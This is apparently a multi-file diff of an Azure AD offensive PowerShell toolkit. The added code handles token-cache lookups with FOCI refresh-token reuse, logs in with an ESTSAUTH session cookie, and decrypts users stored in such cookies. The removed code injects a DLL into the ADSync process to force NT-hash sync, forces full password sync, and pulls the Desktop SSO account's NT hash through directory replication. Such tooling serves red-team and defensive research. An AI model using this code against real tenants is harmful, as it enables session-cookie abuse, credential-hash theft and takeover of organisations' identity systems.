|
||||
-1808
File diff suppressed because it is too large
Load Diff
+242
-37
@@ -13,7 +13,9 @@ function Get-AccessTokenFromCache
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Resource,
|
||||
[switch]$IncludeRefreshToken,
|
||||
[boolean]$Force=$false
|
||||
[boolean]$Force=$false,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$SubScope
|
||||
)
|
||||
Process
|
||||
{
|
||||
@@ -24,16 +26,38 @@ function Get-AccessTokenFromCache
|
||||
if([string]::IsNullOrEmpty($AccessToken))
|
||||
{
|
||||
# Check if cache entry is empty
|
||||
if([string]::IsNullOrEmpty($Script:tokens["$ClientId-$tResource"]))
|
||||
# The audience can be resource name or resource id
|
||||
if($Script:tokens.ContainsKey("$ClientId-$tResource"))
|
||||
{
|
||||
$cacheKey = "$ClientId-$tResource"
|
||||
}
|
||||
else
|
||||
{
|
||||
# Loop through the resource ids
|
||||
foreach($resId in $Script:RESIDs.Keys)
|
||||
{
|
||||
if($Script:RESIDs[$resId] -eq $tResource)
|
||||
{
|
||||
if($Script:tokens.ContainsKey("$ClientId-$resId"))
|
||||
{
|
||||
$cacheKey = "$ClientId-$resId"
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
if([string]::IsNullOrEmpty($cacheKey))
|
||||
{
|
||||
# If token not found, try to find other tokens with the same resource
|
||||
Write-Verbose "Access token for $ClientId-$tResource not found. Trying to find other clients for the resource"
|
||||
foreach($key in $Script:tokens.Keys)
|
||||
foreach($cacheKey in $Script:tokens.Keys)
|
||||
{
|
||||
if($key.EndsWith($tResource))
|
||||
if($cacheKey.EndsWith($tResource) -or ($resId -ne $null -and $cacheKey.EndsWith($Script:RESIDs[$resId])))
|
||||
{
|
||||
Write-Verbose "Found token for ClientId $($key.Substring(0,36))"
|
||||
$retVal=$Script:tokens[$key]
|
||||
Write-Verbose "Found token for ClientId $($cacheKey.Substring(0,36))"
|
||||
$retVal=$Script:tokens[$cacheKey]
|
||||
break
|
||||
}
|
||||
}
|
||||
@@ -43,18 +67,18 @@ function Get-AccessTokenFromCache
|
||||
{
|
||||
Write-Verbose "Access token for $ClientId-$tResource not found. Trying to find refresh token for other FOCI clients"
|
||||
# Loop through cached refresh tokens
|
||||
foreach($key in $Script:refresh_tokens.Keys)
|
||||
foreach($cacheKey in $Script:refresh_tokens.Keys)
|
||||
{
|
||||
# Extract the client id
|
||||
[guid]$rtClientId = $key.Substring(0,36)
|
||||
[guid]$rtClientId = $cacheKey.Substring(0,36)
|
||||
|
||||
if(IsFOCI -ClientId $rtClientId)
|
||||
{
|
||||
Write-Verbose "Using refresh token for ClientId $rtClientId"
|
||||
# If FOCI client, get access token with it's refresh_token
|
||||
$tenantId = (Read-Accesstoken -AccessToken $Script:tokens[$key]).tid
|
||||
$refresh_token = $Script:refresh_tokens[$key]
|
||||
$retVal = Get-AccessTokenWithRefreshToken -Resource $Resource -ClientId $ClientID -RefreshToken $refresh_token -TenantId $tenantId -SaveToCache $True
|
||||
$tenantId = (Read-Accesstoken -AccessToken $Script:tokens[$cacheKey]).tid
|
||||
$refresh_token = $Script:refresh_tokens[$cacheKey]
|
||||
$retVal = Get-AccessTokenWithRefreshToken -Resource $Resource -ClientId $ClientID -RefreshToken $refresh_token -TenantId $tenantId -SaveToCache $True -SubScope $SubScope
|
||||
break
|
||||
}
|
||||
}
|
||||
@@ -68,7 +92,7 @@ function Get-AccessTokenFromCache
|
||||
}
|
||||
else
|
||||
{
|
||||
$retVal=$Script:tokens["$ClientId-$tResource"]
|
||||
$retVal=$Script:tokens[$cacheKey]
|
||||
}
|
||||
}
|
||||
else
|
||||
@@ -76,7 +100,7 @@ function Get-AccessTokenFromCache
|
||||
# Check that the audience of the access token is correct
|
||||
$tAudience=(Read-Accesstoken -AccessToken $AccessToken).aud.TrimEnd("/")
|
||||
|
||||
# The audience might be the GUID
|
||||
# The audience might be a GUID
|
||||
if((($tAudience -ne $tResource) -and ($Script:RESIDs[$tAudience] -ne $tResource)) -and ($Force -eq $False))
|
||||
{
|
||||
# Wrong audience
|
||||
@@ -1702,7 +1726,11 @@ function Get-AccessToken
|
||||
[Parameter(Mandatory=$False)]
|
||||
[string]$TAP,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[string]$RedirectUri
|
||||
[string]$RedirectUri,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[string]$ESTSAUTH,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[string]$SubScope
|
||||
)
|
||||
Begin
|
||||
{
|
||||
@@ -1764,7 +1792,7 @@ function Get-AccessToken
|
||||
# Get token using BPRT
|
||||
$OAuthInfo = @{
|
||||
"refresh_token" = $BPRT
|
||||
"access_token" = Get-AccessTokenWithRefreshToken -Resource "urn:ms-drs:enterpriseregistration.windows.net" -ClientId "b90d5b8f-5503-4153-b545-b31cecfaece2" -TenantId "Common" -RefreshToken $BPRT
|
||||
"access_token" = Get-AccessTokenWithRefreshToken -Resource "urn:ms-drs:enterpriseregistration.windows.net" -ClientId "b90d5b8f-5503-4153-b545-b31cecfaece2" -TenantId "Common" -RefreshToken $BPRT -SubScope $SubScope
|
||||
}
|
||||
$access_token = $OAuthInfo.access_token
|
||||
}
|
||||
@@ -1775,6 +1803,11 @@ function Get-AccessToken
|
||||
# Get token using SAML token
|
||||
$OAuthInfo = Get-OAuthInfoUsingSAML -SAMLToken $SAMLToken -ClientId $ClientId -Resource "https://graph.windows.net"
|
||||
}
|
||||
elseif(![string]::IsNullOrEmpty($ESTSAUTH))
|
||||
{
|
||||
# Get token using ESTSAUTH
|
||||
$OAuthInfo = Prompt-Credentials -Resource $Resource -ClientId $ClientId -Tenant $Tenant -RedirectURI $RedirectUri -SubScope $SubScope -ESTSAUTH $ESTSAUTH
|
||||
}
|
||||
else
|
||||
{
|
||||
# Prompt for credentials
|
||||
@@ -1783,11 +1816,11 @@ function Get-AccessToken
|
||||
($ClientId -eq "29d9ed98-a469-4536-ade2-f981bc1d605e" -and $Resource -eq "https://enrollment.manage.microsoft.com/") <# MDM #>
|
||||
)
|
||||
{
|
||||
$OAuthInfo = Prompt-Credentials -Resource $Resource -ClientId $ClientId -Tenant $Tenant -ForceMFA $ForceMFA -ForceNGCMFA $ForceNGCMFA -Credentials $Credentials -OTPSecretKey $OTPSecretKey -TAP $TAP -RedirectURI $RedirectUri
|
||||
$OAuthInfo = Prompt-Credentials -Resource $Resource -ClientId $ClientId -Tenant $Tenant -ForceMFA $ForceMFA -ForceNGCMFA $ForceNGCMFA -Credentials $Credentials -OTPSecretKey $OTPSecretKey -TAP $TAP -RedirectURI $RedirectUri -SubScope $SubScope
|
||||
}
|
||||
else
|
||||
{
|
||||
$OAuthInfo = Prompt-Credentials -Resource "https://graph.windows.net" -ClientId $ClientId -Tenant $Tenant -ForceMFA $ForceMFA -ForceNGCMFA $ForceNGCMFA -Credentials $Credentials -OTPSecretKey $OTPSecretKey -TAP $TAP -RedirectURI $RedirectUri
|
||||
$OAuthInfo = Prompt-Credentials -Resource "https://graph.windows.net" -ClientId $ClientId -Tenant $Tenant -ForceMFA $ForceMFA -ForceNGCMFA $ForceNGCMFA -Credentials $Credentials -OTPSecretKey $OTPSecretKey -TAP $TAP -RedirectURI $RedirectUri -SubScope $SubScope
|
||||
}
|
||||
|
||||
# Just return null
|
||||
@@ -1798,8 +1831,6 @@ function Get-AccessToken
|
||||
|
||||
}
|
||||
|
||||
# We need to get access token using the refresh token
|
||||
|
||||
# Save the refresh token and other variables
|
||||
$RefreshToken= $OAuthInfo.refresh_token
|
||||
$ParsedToken= Read-Accesstoken($OAuthInfo.access_token)
|
||||
@@ -1812,9 +1843,17 @@ function Get-AccessToken
|
||||
Add-AccessTokenToCache -AccessToken $OAuthInfo.access_token -RefreshToken $OAuthInfo.refresh_token -ShowCache $false
|
||||
}
|
||||
|
||||
# Get the access token from response
|
||||
$access_token = Get-AccessTokenWithRefreshToken -Resource $Resource -ClientId $ClientId -TenantId $tenant_id -RefreshToken $RefreshToken -SaveToCache $SaveToCache
|
||||
|
||||
# If the token client id or resource is different than requested, get correct one using refresh token
|
||||
if(($ParsedToken.appid -ne $ClientId) -or ($ParsedToken.aud -ne $Resource))
|
||||
{
|
||||
$tokens = Get-AccessTokenWithRefreshToken -Resource $Resource -ClientId $ClientId -TenantId $tenant_id -RefreshToken $RefreshToken -SaveToCache $SaveToCache -IncludeRefreshToken $true -SubScope $SubScope
|
||||
$OAuthInfo = [pscustomobject]@{
|
||||
"access_token" = $tokens[0]
|
||||
"refresh_token" = $tokens[1]
|
||||
}
|
||||
}
|
||||
|
||||
$access_token = $OAuthInfo.access_token
|
||||
}
|
||||
|
||||
# Check is this current, new, or deprecated FOCI client
|
||||
@@ -1844,6 +1883,7 @@ function Get-AccessToken
|
||||
}
|
||||
}
|
||||
|
||||
# Save the final tokens to cache
|
||||
if($SaveToCache -and $OAuthInfo -ne $null -and $access_token -ne $null)
|
||||
{
|
||||
Add-AccessTokenToCache -AccessToken $access_token -RefreshToken $refresh_token -ShowCache $false
|
||||
@@ -1859,17 +1899,12 @@ function Get-AccessToken
|
||||
{
|
||||
try
|
||||
{
|
||||
# Import-Module doesn't throw an error, just prints it out.
|
||||
Import-Module -Name $MgModule -ErrorVariable "moduleImportError" -ErrorAction SilentlyContinue
|
||||
Import-Module -Name $MgModule
|
||||
}
|
||||
catch
|
||||
{
|
||||
Throw "$MgModule module could not be imported!"
|
||||
}
|
||||
if($moduleImportError)
|
||||
{
|
||||
Throw "$MgModule module could not be imported!"
|
||||
}
|
||||
}
|
||||
|
||||
# Initialize the graph session
|
||||
@@ -1917,7 +1952,7 @@ function Get-AccessToken
|
||||
{
|
||||
if($IncludeRefreshToken) # Include refreshtoken
|
||||
{
|
||||
return @($access_token,$OAuthInfo.refresh_token)
|
||||
return @($access_token,$refresh_token)
|
||||
}
|
||||
else
|
||||
{
|
||||
@@ -1955,7 +1990,9 @@ function Get-AccessTokenWithRefreshToken
|
||||
[Parameter(Mandatory=$False)]
|
||||
[bool]$SaveToCache = $false,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[bool]$IncludeRefreshToken = $false
|
||||
[bool]$IncludeRefreshToken = $false,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$SubScope
|
||||
)
|
||||
Process
|
||||
{
|
||||
@@ -1974,7 +2011,7 @@ function Get-AccessTokenWithRefreshToken
|
||||
}
|
||||
else
|
||||
{
|
||||
$url = "https://login.microsoftonline.com/$TenantId/oauth2/token"
|
||||
$url = "$(Get-TenantLoginUrl -SubScope $SubScope)/$TenantId/oauth2/token"
|
||||
}
|
||||
|
||||
# Debug
|
||||
@@ -2336,17 +2373,18 @@ function Get-AccessTokenUsingAADGraph
|
||||
}
|
||||
|
||||
# Apr 22th 2022
|
||||
# Shows users stored in ESTS cookie
|
||||
function Unprotect-EstsAuthPersistentCookie
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Decrypts and dumps users stored in ESTSAUTHPERSISTENT
|
||||
Decrypts and dumps users stored in ESTSAUTH or ESTSAUTHPERSISTENT
|
||||
|
||||
.DESCRIPTION
|
||||
Decrypts and dumps users stored in ESTSAUTHPERSISTENT using login.microsoftonline.com/forgetUser
|
||||
Decrypts and dumps users stored in ESTSAUTH or ESTSAUTHPERSISTENT using login.microsoftonline.com/forgetUser
|
||||
|
||||
.Parameter Cookie
|
||||
Value of ESTSAUTHPERSISTENT cookie
|
||||
Value of ESTSAUTH or ESTSAUTHPERSISTENT cookie
|
||||
|
||||
.Example
|
||||
PS C:\>Unprotect-AADIntEstsAuthPersistentCookie -Cookie 0.ARMAqlCH3MZuvUCNgTAd4B7IRffhvoluXopNnz3s1gEl...
|
||||
@@ -2381,17 +2419,127 @@ function Unprotect-EstsAuthPersistentCookie
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True,ValueFromPipeline)]
|
||||
[String]$Cookie
|
||||
[String]$Cookie,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$SubScope
|
||||
)
|
||||
Process
|
||||
{
|
||||
Remove-UserFromEstsAuthPersistentCookie -Cookie $Cookie -SessionID "00000000-0000-0000-0000-000000000000" -ShowContent $true
|
||||
<#
|
||||
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
|
||||
$cookieDomain = $loginUrl.Split("/")[2]
|
||||
|
||||
$session.Cookies.Add((New-Object System.Net.Cookie("ESTSAUTHPERSISTENT", $Cookie, "/", ".login.microsoftonline.com")))
|
||||
Invoke-RestMethod -UseBasicParsing -Uri "https://login.microsoftonline.com/forgetuser?sessionid=$((New-Guid).toString())" -WebSession $session
|
||||
$session.Cookies.Add((New-Object System.Net.Cookie("ESTSAUTHPERSISTENT", $Cookie, "/", $cookieDomain )))
|
||||
Invoke-RestMethod -UseBasicParsing -Uri "$loginUrl/forgetuser?sessionid=00000000-0000-0000-0000-000000000000" -WebSession $session
|
||||
#>
|
||||
}
|
||||
}
|
||||
|
||||
# Apr 22th 2022
|
||||
# Removes a user from the ESTS cookie
|
||||
function Remove-UserFromEstsAuthPersistentCookie
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Removes the given user from ESTSAUTH or ESTSAUTHPERSISTENT
|
||||
|
||||
.DESCRIPTION
|
||||
Removes the given user from ESTSAUTH or ESTSAUTHPERSISTENT using login.microsoftonline.com/forgetUser
|
||||
|
||||
The signed in user or the only user can't be removed.
|
||||
|
||||
.Parameter Cookie
|
||||
Value of ESTSAUTH or ESTSAUTHPERSISTENT cookie
|
||||
|
||||
.Parameter SessionID
|
||||
The session ID to be removed
|
||||
|
||||
.Parameter UserName
|
||||
The user to be removed
|
||||
|
||||
.Parameter ShowContent
|
||||
If true, shows the content of the cookie instead of returning new cookie
|
||||
|
||||
.Example
|
||||
PS C:\>$ESTSCookie = Remove-AADIntUserFromEstsAuthPersistentCookie -UserName "user@company.com" -Cookie "0.ARMAqlCH3MZuvUCNgTAd4B7IRffhvoluXopNnz3s1gEl..."
|
||||
|
||||
|
||||
#>
|
||||
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Cookie,
|
||||
[Parameter(ParameterSetName='ID',Mandatory=$True)]
|
||||
[String]$SessionID,
|
||||
[Parameter(ParameterSetName='User',Mandatory=$True)]
|
||||
[String]$UserName,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[boolean]$ShowContent=$False,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$SubScope
|
||||
)
|
||||
Process
|
||||
{
|
||||
if(![string]::IsNullOrEmpty($UserName))
|
||||
{
|
||||
# Get the list of users
|
||||
$users = Unprotect-EstsAuthPersistentCookie -Cookie $Cookie
|
||||
if($users.Count -eq 1)
|
||||
{
|
||||
Write-Warning "The only user can't be removed."
|
||||
}
|
||||
foreach($user in $users)
|
||||
{
|
||||
if($user.login -eq $UserName)
|
||||
{
|
||||
$SessionID = $user.sessionID
|
||||
if($user.isSigned)
|
||||
{
|
||||
Write-Warning "Signed in user can't be removed"
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if([string]::IsNullOrEmpty($SessionID))
|
||||
{
|
||||
throw "User $username not stored in the given token"
|
||||
}
|
||||
}
|
||||
|
||||
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
|
||||
$loginUrl = Get-TenantLoginUrl -SubScope $SubScope
|
||||
$cookieDomain = $loginUrl.Split("/")[2]
|
||||
|
||||
$session.Cookies.Add((New-Object System.Net.Cookie("ESTSAUTHPERSISTENT", $Cookie, "/", $cookieDomain )))
|
||||
$response = Invoke-WebRequest2 -Uri "$loginUrl/forgetuser?sessionid=$sessionID" -WebSession $session -ErrorAction SilentlyContinue
|
||||
|
||||
# Dump the content
|
||||
if($ShowContent)
|
||||
{
|
||||
return $response.content | ConvertFrom-Json
|
||||
}
|
||||
else
|
||||
{
|
||||
# Return the new cookie
|
||||
# For some reason, the web session is not updated with the new cookie :(
|
||||
#$ESTSCookie = $session.Cookies.GetCookies($loginurl).Item("ESTSAUTHPERSISTENT").value
|
||||
try
|
||||
{
|
||||
$ESTSCookie = Get-StringBetween -Start "ESTSAUTHPERSISTENT=" -End ";" -String $response.Headers.'Set-Cookie'
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Warning "No ESTSAUTHPERSISTENT cookie was returned. The removed user/session didn't exist, the user was signed in, or there was just one user."
|
||||
}
|
||||
|
||||
return $ESTSCookie
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# Returns access token using Azure Instance Metadata Service (IMDS)
|
||||
# Nov 8th 2022
|
||||
@@ -2489,4 +2637,61 @@ function Get-AccessTokenUsingIMDS
|
||||
# Return
|
||||
$response.access_token
|
||||
}
|
||||
}
|
||||
|
||||
# Gets app consent info
|
||||
# Sep 13th 2024
|
||||
function Get-AppConsentInfo
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$ClientId,
|
||||
[System.Management.Automation.PSCredential]$Credentials,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[string]$PfxFileName,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[string]$PfxPassword,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[string]$OTPSecretKey,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[string]$TAP,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[string]$RefreshTokenCredential
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Get the config using the provided credentials
|
||||
$config = Get-AuthorizationCode -ClientId $ClientId -Tenant "common" -AppConsent -OTPSecretKey $OTPSecretKey -TAP $TAP -RefreshTokenCredential $RefreshTokenCredential -Certificate $Certificate -PfxFileName $PfxFileName -PfxPassword $PfxPassword -Credentials $Credentials
|
||||
|
||||
if($config -eq $null)
|
||||
{
|
||||
Throw "Unable to get app information"
|
||||
}
|
||||
|
||||
$appInfo = [pscustomobject][ordered]@{
|
||||
"Name" = $config.sAppName
|
||||
"VerifiedPublisher" = $config.sAppVerifiedPublisherName
|
||||
"WebSite" = $config.sAppWebsite
|
||||
"Created" = $config.sAppCreatedDate
|
||||
#"Settings" = $config.urlAppSettings
|
||||
"TermsOfService" = $config.urlAppTermsOfService
|
||||
"PrivacyStatement" = $config.urlAppPrivacyStatement
|
||||
"Logo" = $config.urlAppLogo
|
||||
"InDifferentTenant" = $config.fAppInDifferentTenant
|
||||
"Scopes" = $config.arrScopes
|
||||
"ReplyUrls" = $config.arrAppReplyUrls
|
||||
}
|
||||
|
||||
if([string]::IsNullOrEmpty($appInfo.Name))
|
||||
{
|
||||
Write-Warning "No information returned, maybe app is already consented?"
|
||||
}
|
||||
else
|
||||
{
|
||||
return $appInfo
|
||||
}
|
||||
}
|
||||
}
|
||||
+278
-606
File diff suppressed because it is too large
Load Diff
@@ -1,61 +0,0 @@
|
||||
# This script contains functions for client side
|
||||
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets the Office update branch of the local computer
|
||||
|
||||
.DESCRIPTION
|
||||
Gets the Office update branch of the local computer from the registry
|
||||
|
||||
.Example
|
||||
Get-AADIntOfficeUpdateBranch
|
||||
|
||||
Update branch: Current
|
||||
|
||||
#>
|
||||
# Jul 8th 2019
|
||||
function Get-OfficeUpdateBranch
|
||||
{
|
||||
Param(
|
||||
|
||||
[ValidateSet('16.0')]
|
||||
[String]$Version="16.0"
|
||||
)
|
||||
Process
|
||||
{
|
||||
$reg=Get-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\office\$Version\common\officeupdate\"
|
||||
|
||||
Write-Host "Update branch: $($reg.updateBranch)"
|
||||
#Write-Host "Automatic updates enabled: $($reg.EnableAutomaticUpdates -ne 0)"
|
||||
}
|
||||
}
|
||||
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Sets the Office update branch of the local computer
|
||||
|
||||
.DESCRIPTION
|
||||
Sets the Office update branch of the local computer to the registry. Requires administrator rights!
|
||||
|
||||
.Example
|
||||
Set-AADIntOfficeUpdateBranch -UpdateBranch InsiderFast
|
||||
|
||||
Update branch: InsiderFast
|
||||
|
||||
#>
|
||||
# Jul 8th 2019
|
||||
function Set-OfficeUpdateBranch
|
||||
{
|
||||
Param(
|
||||
[ValidateSet('16.0')]
|
||||
[String]$Version="16.0",
|
||||
[ValidateSet('InsiderFast','FirstReleaseCurrent','Current','FirstReleaseDeferred','Deferred','DogFood')]
|
||||
[String]$UpdateBranch="Current"
|
||||
)
|
||||
Process
|
||||
{
|
||||
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\office\$Version\common\officeupdate\" -Name "updateBranch" -Value $UpdateBranch
|
||||
|
||||
Get-OfficeUpdateBranch -Version $Version
|
||||
}
|
||||
}
|
||||
+206
-789
File diff suppressed because it is too large
Load Diff
@@ -116,172 +116,3 @@ function Get-UserNTHash
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# ForceNTHash functions
|
||||
|
||||
# Some constants
|
||||
$AADConnectServiceName = "ADSync"
|
||||
$AADConnectProcessName = "miiserver"
|
||||
|
||||
# Aug 21st 2023
|
||||
function Install-ForceNTHash
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Installs ForceNTHash to the current computer.
|
||||
|
||||
.DESCRIPTION
|
||||
Installs ForceNTHash to the current computer.
|
||||
ForceNTHash enforces Windows legacy credential sync. Credentials are encrypted using ForceNTHash.pfx certificate.
|
||||
|
||||
.EXAMPLE
|
||||
Install-AADIntForceNTHash
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[switch]$EnforceFullPasswordSync
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Chech that running as administrator and that the service is running
|
||||
Test-LocalAdministrator -Throw | Out-Null
|
||||
|
||||
$service = Get-Service -Name $AADConnectServiceName -ErrorAction SilentlyContinue
|
||||
if([String]::IsNullOrEmpty($service))
|
||||
{
|
||||
Write-Error "This command needs to be run on a computer with Azure AD Sync service (ADSync)"
|
||||
return
|
||||
}
|
||||
|
||||
$promptValue = Read-Host "Are you sure you wan't to install ForceNTHash to this computer? Type YES to continue or CTRL+C to abort"
|
||||
if($promptValue -eq "yes")
|
||||
{
|
||||
# We need to restart so we can inject before GetWindowsCredentialsSyncConfig is called
|
||||
Restart-Service $AADConnectServiceName
|
||||
|
||||
# But still wait a couple of seconds
|
||||
Write-Warning "Sleeping for five seconds.."
|
||||
Start-Sleep -Seconds 5
|
||||
|
||||
# Get the process id
|
||||
$process = Get-Process -Name $AADConnectProcessName -ErrorAction SilentlyContinue
|
||||
$processId = $process.Id
|
||||
|
||||
# Inject the dll
|
||||
$result=Inject-DLL -ProcessID $processID -FileName "$PSScriptRoot\ForceNTHash.dll" -Function "Patch"
|
||||
Write-Verbose "Inject-DLL result: $result"
|
||||
|
||||
if($result -like "*success*")
|
||||
{
|
||||
Write-Host "Installation successfully completed!"
|
||||
Write-Host "Windows legacy credentials sync is now enforced and credentials are encrypted with ForceNTHash certificate."
|
||||
|
||||
if($EnforceFullPasswordSync)
|
||||
{
|
||||
Initialize-FullPasswordSync
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
else
|
||||
{
|
||||
Write-Error "Installation failed: $result"
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Aug 18th 2023
|
||||
function Remove-ForceNTHash
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Removes ForceNTHash from the current computer
|
||||
|
||||
.DESCRIPTION
|
||||
Removes ForceNTHash from the current computer by restarting ADSync service.
|
||||
|
||||
.EXAMPLE
|
||||
Remove-AADIntForceNTHash
|
||||
|
||||
WARNING: Waiting for service 'Microsoft Azure AD Sync (ADSync)' to start...
|
||||
WARNING: Waiting for service 'Microsoft Azure AD Sync (ADSync)' to start...
|
||||
WARNING: Waiting for service 'Microsoft Azure AD Sync (ADSync)' to start...
|
||||
Service restarted and ForceNTHash removed.
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param()
|
||||
Process
|
||||
{
|
||||
$service = Get-Service -Name $AADConnectServiceName -ErrorAction SilentlyContinue
|
||||
if([String]::IsNullOrEmpty($service))
|
||||
{
|
||||
Write-Error "This command needs to be run on a computer with Azure AD Sync service (ADSync)"
|
||||
return
|
||||
}
|
||||
|
||||
Restart-Service $AADConnectServiceName
|
||||
|
||||
Write-Host "Service restarted and ForceNTHash removed."
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
# Aug 21st 2023
|
||||
function Initialize-FullPasswordSync
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Enforces password hash sync of all users.
|
||||
|
||||
.DESCRIPTION
|
||||
Enforces password hash sync of all users.
|
||||
|
||||
.EXAMPLE
|
||||
Initialize-AADIntFullPasswordSync
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param()
|
||||
Process
|
||||
{
|
||||
$service = Get-Service -Name $AADConnectServiceName -ErrorAction SilentlyContinue
|
||||
if([String]::IsNullOrEmpty($service))
|
||||
{
|
||||
Write-Error "This command needs to be run on a computer with Azure AD Sync service (ADSync)"
|
||||
return
|
||||
}
|
||||
|
||||
# ref: https://learn.microsoft.com/en-us/azure/active-directory-domain-services/tutorial-configure-password-hash-sync
|
||||
|
||||
Import-Module "$(Get-ItemPropertyValue "HKLM:\SOFTWARE\Microsoft\AD Sync" -Name "Location" )\Bin\ADSync\ADSync.psd1"
|
||||
Import-Module "$(Get-ItemPropertyValue "HKLM:\SOFTWARE\Microsoft\Azure AD Connect" -Name "InstallationPath")\AdSyncConfig\AdSyncConfig.psm1"
|
||||
|
||||
$connectors = Get-ADSyncConnector
|
||||
|
||||
if($connectors.Count -ne 2)
|
||||
{
|
||||
Throw "Connector count is not 2, can't automatically select connectors"
|
||||
}
|
||||
|
||||
# Define the Azure AD Connect connector names and import the required PowerShell module
|
||||
$azureadConnector = (Get-ADSyncConnector | where Type -ne "AD").Name
|
||||
$adConnector = (Get-ADSyncConnector | where Type -eq "AD").Name
|
||||
|
||||
# Create a new ForceFullPasswordSync configuration parameter object then
|
||||
# update the existing connector with this new configuration
|
||||
$c = Get-ADSyncConnector -Name $adConnector
|
||||
$p = New-Object Microsoft.IdentityManagement.PowerShell.ObjectModel.ConfigurationParameter "Microsoft.Synchronize.ForceFullPasswordSync", String, ConnectorGlobal, $null, $null, $null
|
||||
$p.Value = 1
|
||||
$c.GlobalParameters.Remove($p.Name) | Out-Null
|
||||
$c.GlobalParameters.Add($p) | Out-Null
|
||||
$c = Add-ADSyncConnector -Connector $c
|
||||
|
||||
# Disable and re-enable Azure AD Connect to force a full password synchronization
|
||||
Set-ADSyncAADPasswordSyncConfiguration -SourceConnector $adConnector -TargetConnector $azureadConnector -Enable $false | Out-Null
|
||||
Set-ADSyncAADPasswordSyncConfiguration -SourceConnector $adConnector -TargetConnector $azureadConnector -Enable $true | Out-Null
|
||||
|
||||
Write-Host "Full password sync enforced"
|
||||
|
||||
}
|
||||
}
|
||||
-323
@@ -1,323 +0,0 @@
|
||||
# This script contains functions for Active Directory Replication Service (DRS)
|
||||
|
||||
# Mar 22nd 2021
|
||||
function Get-DesktopSSOAccountPassword
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets NTHash of Desktop SSO account
|
||||
|
||||
.DESCRIPTION
|
||||
Gets NTHash of Desktop SSO account using Directory Replication Service (DRS).
|
||||
|
||||
.PARAMETER AccountName
|
||||
The name of the Desktop SSO computer account. Defaults to AZUREADSSOACC
|
||||
|
||||
.PARAMETER Credentials
|
||||
Credentials used to connect to Domain Controller. Must have Directory Replication permissions.
|
||||
|
||||
.PARAMETER Server
|
||||
Name or ip address of the Domain Contoller.
|
||||
|
||||
.PARAMETER AsHex
|
||||
If defined, returns the NTHash as hex string.
|
||||
|
||||
.Example
|
||||
$cred = Get-Credential
|
||||
PS C:\>$NTHash = Get-AADIntDesktopSSOAccountPassword -Credentials $cred -Server 192.168.0.10
|
||||
|
||||
.Example
|
||||
$cred = Get-Credential
|
||||
PS C:\>Get-AADIntDesktopSSOAccountPassword -Credentials $cred -Server dc01 -AsHex
|
||||
|
||||
ed31d88da3fc9aaa850ead2161faa815
|
||||
#>
|
||||
|
||||
[CmdletBinding()]
|
||||
param(
|
||||
[Parameter(Mandatory=$true)]
|
||||
[string]$Server,
|
||||
[Parameter(Mandatory=$true)]
|
||||
[pscredential]$Credentials,
|
||||
[Parameter(Mandatory=$false)]
|
||||
[String]$AccountName="AZUREADSSOACC",
|
||||
[Parameter(Mandatory=$false)]
|
||||
[Switch]$AsHex
|
||||
)
|
||||
|
||||
Process
|
||||
{
|
||||
# Get the object guid for the given account name
|
||||
$dirEntry = [System.DirectoryServices.DirectoryEntry]::new("LDAP://$Server",$Credentials.UserName, $Credentials.GetNetworkCredential().Password)
|
||||
$ADSearch = [System.DirectoryServices.DirectorySearcher]::new($dirEntry)
|
||||
$ADSearch.Filter = "(name=$AccountName)"
|
||||
$aduser = $ADSearch.FindOne()
|
||||
$ObjectGuid = $aduser.Properties["ObjectGuid"][0]
|
||||
|
||||
if($AsHex)
|
||||
{
|
||||
return Get-ADUserNTHash -Server $Server -Credentials $Credentials -ObjectGuid $ObjectGuid -AsHex
|
||||
}
|
||||
else
|
||||
{
|
||||
return Get-ADUserNTHash -Server $Server -Credentials $Credentials -ObjectGuid $ObjectGuid
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# Mar 21st 2021
|
||||
